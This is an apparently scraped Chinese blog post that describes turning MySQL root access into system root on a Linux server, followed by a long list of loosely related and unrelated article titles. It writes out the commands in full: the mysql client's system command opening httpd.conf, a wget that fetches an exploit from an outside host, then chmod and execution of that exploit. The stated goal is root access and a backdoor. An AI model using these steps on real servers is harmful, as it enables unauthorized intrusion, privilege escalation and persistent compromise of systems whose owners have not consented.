mysql .x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内。

按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有的就不一定了。但是 按照我的的方法,没有必要再去找web路径了,直接执行

mysql>system vi /etc/httpd/conf/httpd.conf;

直接这样就可以找到web的路径,当然,我们的目的并不是找web路径,放webshell进去。我们是要来做其他的事情,比如,下载exp执行, 搞到 root权限,然后装后门虾米的

mysql>system wget http://www.baidu.org.tw/xxxx ;

mysql>system chmod +x xxxx;

mysql>system ./xxxx;

这样mysql的root此时就成为system的root了,剩下的事情,如果开了ssh,就ssh上去,输入mysql的用户密码,ok,搞定。

相关资料:

http://www.linuxidc.com/Linux/2010-12/30787.htm

http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390

mysql root 提权_mysql以ROOT权限提权方法相关推荐

  1. mysql root 被锁_MySQL的root权限密码忘记的解决办法

    今天是我第一次用MySQL这个软件,我在自己的系统中安装了一个(OS X ),在虚拟机中的windows XP 环境下安装了一个,我希望能在我自己的系统下远程连接到XP 中的MySQL,于是XP环境下 ...

  2. mysql 远程登陆设置_MYSQL远程登录权限设置

    Mysql默认关闭远程登录权限,如下操作允许用户在任意地点登录: 1. 进入mysql,GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY ...

  3. mysql数据库备份工具_MySQL数据库备份工具和六种方法介绍

    关于Mysql备份数据库的方法,烈火网小编总结了目前所有的备份方式,有以下几种:mysqldump.mysqlhotcopy.BACKUP TABLE .SELECT INTO OUTFILE,又或者 ...

  4. mysql进行mof提权_MySQL数据库Root权限MOF方法提权研究

    MySQL数据库Root权限MOF方法提权研究 MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Wi ...

  5. mysql注入写一句话_Mysql注入root权限直接写一句话马

    首先我们的找到一个有注入的站:这里我用自己搭建的环境表示:大家不要乱来 http://localhost/pentest/sql/sql_injection_get.php?id=1 发现是root权 ...

  6. mysql 删除 修改密码_Mysql数据库root密码忘记了,如何在不删除Mysql的情况下修改密码...

    1.cmd中使用  net stop mysql  命令停掉正在运行的mysql 数据库. 2.在本地中复制Mysql数据库的安装路径一直到bin路径下. 3.到cmd执行 "pushd + ...

  7. mysql的root用户密码_MySQL的root用户密码忘了 , 该怎么办?

    当我们安装好MySQL后 , 默认root用户登录MySQL是没有密码的 , 当我们为root用户设置密码后 , 再次登录忘记了密码该怎么办? 本地root密码重设 : 解决问题思路 : 1 . 修改 ...

  8. mysql数据库密码转换_MySQL数据库root账户密码忘记两种处理方法转载

    方法1: 1.停止MySQL服务# kill `cat /var/run/mysqld/mysqld.pid` 或者# pkill mysqld 2.创建一个密码赋值语句的文本文件 # vi mysq ...

  9. mysql gui 修改密码_MySQL修改root密码的各种方法整理

    整理了以下四种在MySQL中修改root密码的方法,可能对大家有所帮助! 方法1: 用SET PASSWORD命令 mysql -u root mysql> SET PASSWORD FOR ' ...

最新文章

  1. 如何在sqlite3连接中创建并调用自定义函数
  2. 解析BF(普通串模式匹配算法)算法
  3. 使用XSLT转换XML数据并传递参数
  4. 安卓案例:View动画——弹球碰壁
  5. 基于Python分析实现酒店评论的中文情感
  6. camera软件测试技术,Camera功能、图片测试
  7. 如何用计算机制作思维导向图,mindmaster使用方法,手把手教你制作思维导图
  8. linux 显示数字权限,Linux数字权限解释
  9. mysql analyze table_MySQL ANALYZE TABLE
  10. 个人数字证书免费申请
  11. Windows2016 IKEv2(用户认证模式)
  12. iOS9适配http,微信、qq、支付宝添加白名单
  13. 数字孪生技术海上风电场解决方案
  14. U3D控制摄像头第一人称WASD移动旋转
  15. sp_server_diagnostics
  16. 高通平台8953 Linux DTS(Device Tree Source)设备树详解之一(背景基础知识篇)
  17. 关于安卓调试桥adb.exe被金山wps软件导致冲突问题。
  18. “马导”怒怼“小鲜肉”,当马儿遇到配音,短视频内容让人捧腹
  19. 【玩转华为云】手把手教你利用ModelArts实现垃圾自动分类
  20. 国外精美网站设计欣赏的200佳网站推荐(系列十一)

热门文章

  1. 必须学会的几种网络测试方法
  2. 突然感到很无聊当没有看书时
  3. [转]在ASP.NET中如何用C#.NET实现基于表单的验证(二)
  4. 8年程序员210天没找到工作,小公司老板:降薪5千,爱来不来
  5. Swoole 自定义项目初始化事件处理的实现
  6. 澳大利亚科学家研发智能袜子SoPhy,帮助患者进行理疗
  7. pg 10 wal 归档同步配置
  8. JavaScript的变量作用域深入理解(转)
  9. 也玩有道难题的双立方数问题:Python 版解法
  10. 运行Google CTemplate首页的例子遇到_CrtIsValidHeapPointer异常